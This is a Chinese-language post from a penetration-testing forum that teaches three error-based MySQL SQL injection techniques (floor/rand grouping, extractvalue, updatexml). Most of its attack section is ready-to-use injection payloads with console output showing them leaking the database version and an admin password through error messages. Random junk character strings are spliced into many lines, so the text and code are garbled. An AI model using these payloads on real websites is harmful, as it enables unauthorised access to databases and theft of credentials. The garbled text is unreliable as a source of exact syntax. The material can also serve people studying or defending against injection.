中国网络渗透测试联盟

标题: 关于Mysql注入过程中的三种报错方式 [打印本页]

作者: admin    时间: 2012-12-10 10:28
标题: 关于Mysql注入过程中的三种报错方式
放点原来的笔记,Mysql在执行语句的时候会抛出异常信息信息,而php+mysql架构的网站往往又将错误代码显示在页面上,这样可以通过构造如下三种方法获取特定数据。
: [5 f  U: ]1 }- x( |: K实际测试环境:0 P1 P0 T; Q  c8 Y( n2 e
9 w3 k9 O+ [( p& x" ~: _' i
3 q+ F* H8 O7 j
mysql> show tables;
0 H! e0 W1 V% q; e+----------------+
" H$ n; a* v" _9 w: E# f8 V| Tables_in_test |
0 ]) k8 U# n' t. _( Y( c+----------------+
  e( F# |4 U" Y) g| admin          |
. }. }3 h, q3 b- q' L| article        |5 A+ I) x0 V1 X
+----------------+. Q5 H0 y4 |3 f

. _$ z8 G! c; V; h
$ ^% [; n; i, o6 {$ o! Q: \: C% l
2 E$ U3 v2 ?* b, z3 u+ Wmysql> describe admin;! b3 Q' L9 G7 [  p+ o
+-------+------------------+------+-----+---------+----------------+; h9 v  I1 {. H, Z4 q6 x
| Field | Type             | Null | Key | Default | Extra          |& r+ A5 Q, c# E
+-------+------------------+------+-----+---------+----------------+! b4 S+ X& p( R0 k& @- a
| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |; u2 q. m9 ]- S; w$ o
| user  | varchar(50)      | NO   |     | NULL    |                |
4 w' X$ U2 L$ r4 g- E| pass  | varchar(50)      | NO   |     | NULL    |                |- d2 y. N* L4 B/ o" `, g. h. S: Y
+-------+------------------+------+-----+---------+----------------+# r& u" v  J! o% q; Q

5 b/ c9 V7 _5 B ) W. P4 }- O$ A& ?  W. r9 j' ~

  \0 n( }* ]8 T& c* V3 i. T& k0 jmysql> describe article;
: Y( C! O; @) j; o+---------+------------------+------+-----+---------+----------------+  @( \1 Y3 I7 _, E
| Field   | Type             | Null | Key | Default | Extra          |
+ V0 I* T( T! c  P* e+---------+------------------+------+-----+---------+----------------+
4 _8 K0 D- e6 w6 C( `& N; e! R* m" F| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |1 H: L+ R; a+ X& Y# K
| title   | varchar(50)      | NO   |     | NULL    |                |% q, y7 \1 j6 K2 G( r
| content | varchar(50)      | NO   |     | NULL    |                |" \8 U- q; d( E
+---------+------------------+------+-----+---------+----------------+' T' V: b, ?2 f# w4 M3 ^- q# |
1、通过floor报错
3 V7 {1 E2 y$ ?可以通过如下一些利用代码) Z6 Q4 |2 S% G3 X: U3 s, d$ V
  L8 H) Y6 r8 A) S  Z) o

' {4 M( f/ k! k+ h0 M. dand select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
( N; i2 n0 T7 C+ {- U0 m( g& Bfrom information_schema.tables group by x)a);% ]" ~2 ]4 S$ [. f2 ]
; F1 f/ x, m3 v! ?0 m! ]/ ^& H
  |! i& ^% F* t; o2 z6 H
and (select count(*) from (select 1 union select null union select !1)x' x3 Y! \8 L9 x
group by concat((select table_name from information_schema.tables limit 1),4 o% {7 B7 b1 ^7 N$ G5 ^
floor(rand(0)*2)));
2 |$ a9 e1 L/ k$ [+ G举例如下:
, k, d( V! f+ H7 `6 U; g: x; T  t& K) b首先进行正常查询:
# A5 D8 X4 [4 w8 o# r
3 |% z8 b( j* |. v" t5 H# Nmysql> select * from article where id = 1;
3 @2 j' P3 U% t2 E) r# D; C+----+-------+---------+  a1 ^1 x* M# O0 \$ J( T5 v! e+ |
| id | title | content |  J1 n7 |9 m$ r
+----+-------+---------+7 M9 S) r8 A5 ]& D( |7 N- [
|  1 | test  | do it   |
& W1 h+ N' U: [0 D+----+-------+---------+
  D% C" M$ R/ s假如id输入存在注入的话,可以通过如下语句进行报错。
# ~- {# E2 z) j+ f: w- c : W3 O5 U; H% O+ U& r/ i
  d' J9 f; M, d, j
mysql> select * from article where id = 1 and (select 1 from
, i3 W3 N# m  O  o% R" c9 F$ `! E(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);/ k) A/ y7 U; a: z: v1 [2 [, \
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
" @! U! c! `  J2 _可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。; G, F, o- u7 K5 F
例如我们需要查询管理员用户名和密码:
2 X8 f7 Y7 ~9 K5 g# T) D" z0 UMethod1:
1 ^2 v4 F4 ]" C. s7 S
+ e9 N1 j% B, l 0 M$ N2 [  B* v- r2 l. J1 S
mysql> select * from article where id = 1 and (select 1 from! }1 }" L$ U+ D2 X7 |( l
(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
) k: k: A8 H$ N/ l" Ffrom information_schema.tables group by x)a);, N- d5 n% j/ a. i
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
) `3 K( `1 {$ r* i. [Method2:/ N7 q$ d9 S; ]. }' C+ G7 I
+ M$ m5 R$ d% T3 ?
4 e+ f# F$ l! W2 z! H' ]- y7 i
mysql> select * from article where id = 1 and (select count(*)
- K- |/ D" C# Pfrom (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),/ I2 ?2 ]- q* r! B, w; p  |
floor(rand(0)*2)));
/ `: `3 V* X4 u" b4 h  ]ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
$ b% p) N1 S( o6 Q4 E2、ExtractValue
% z' v5 e7 h. m7 `5 l3 x# y测试语句如下
. j+ _# H' z/ N: _  v$ J  f' u
* a: c0 ~9 Q. b9 d0 b3 y 3 F# O: A; f+ X2 K. }9 r3 _
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
+ g9 Z" k3 S. x$ o7 F实际测试过程+ c2 R6 d# J3 e/ P$ c7 p

' x1 }" L4 f8 v! O6 m  ?7 D5 o * M& S6 I1 {+ q7 x% i: U
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,( T* i8 c$ e. B' v
(select pass from admin limit 1)));--! ~$ |! _: B- z9 v) F4 R
ERROR 1105 (HY000): XPATH syntax error: '\admin888'3 Z  H1 b& G7 h; e$ U0 J$ m$ l$ I
3、UpdateXml
& \& R2 R$ g: S; C3 @) o0 n3 q; ~测试语句
6 M9 _/ e; v1 O; R1 K! x" p $ Z% W3 }- d+ `

9 ?7 h, X( ]8 g) J9 Zand 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))/ g7 a' N9 }& W: ]; M
实际测试过程- R: }2 c1 E5 \% }5 x
. M6 ^- q+ J  b: q$ q( E3 l( m4 U

% y8 W% l2 p+ t$ h! i  ?9 umysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,9 W) X) P, R  {: e. G
(select pass from admin limit 1),0x5e24),1));6 n/ P7 M& X8 R7 N! r  E: N  C& M9 p
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'3 {, `9 T$ f. g7 Z2 j6 B
All, thanks foreign guys.
$ u  k5 Z0 ~4 {' c; z- s
1 E* U& f$ D& A0 q% `% x
& M" O7 {. a) y& b




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2